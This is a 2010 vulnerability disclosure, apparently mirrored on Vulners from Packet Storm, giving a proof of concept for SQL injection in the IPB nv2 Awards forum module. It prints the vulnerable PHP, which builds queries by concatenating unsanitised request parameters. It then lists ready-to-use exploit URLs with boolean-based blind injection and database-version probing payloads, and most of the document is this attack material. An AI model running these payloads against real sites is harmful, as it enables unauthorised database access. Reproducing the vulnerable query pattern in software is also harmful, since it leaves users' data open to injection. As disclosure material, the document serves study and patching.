Lucene search
K

IPB (nv2) Awards SQL Injection

🗓️ 31 Jan 2010 00:00:00Reported by fred777Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

IPB (nv2) Awards SQL Injection vulnerability disclosur

Code
`#################################################  
+  
+ IPB (nv2) Awards > 1.1.0 SQL Injection PoC  
+  
#################################################  
+  
+ Author: fred777 - [fred777.de]  
+ Date: 29.01.2010  
+ Link: http://forums.invisionize.com/nv2-Awards-120-t137847.html  
+ Vuln: index.php?autocom=awards&do=view&id=1  
+ Greetzz to: Back2hack.cc  
+ Contact: [email protected]  
+  
#################################################  
  
--[ Vuln Code ] --  
  
$this->ipsclass->DB->build_query( array( 'select' => 'a.user_id',  
'from' => array( 'awarded' => 'a' ),  
'where' => 'a.award_id=' . $this->ipsclass->input['id'],  
'add_join' => array( 0 => array( 'select' => 'm.members_display_name',  
'from' => array( 'members' => 'm' ),  
'where' => 'm.id=a.user_id',  
'type' => 'left',  
) ),  
) );  
  
--------------------------------------------------------------------------------------  
  
'select' => '*',  
'from' => 'awards',  
'where' => 'id = "' . $_POST['award'] . '"',  
) );  
  
--------------------------------------------------------------------------------------  
  
$award_dat['user_id'] = $_GET['id'];  
$award_dat['award_id'] = $_POST['award'];  
  
################################################  
  
--[ Exploitable ]--  
  
www.seite.de/index.php?autocom=awards&do=view&id=1[SQL INJECTION]  
  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+1=1 > true  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+1=0 > false  
  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4  
  
################################################  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jan 2010 00:00Current
0.6Low risk
Vulners AI Score0.6
15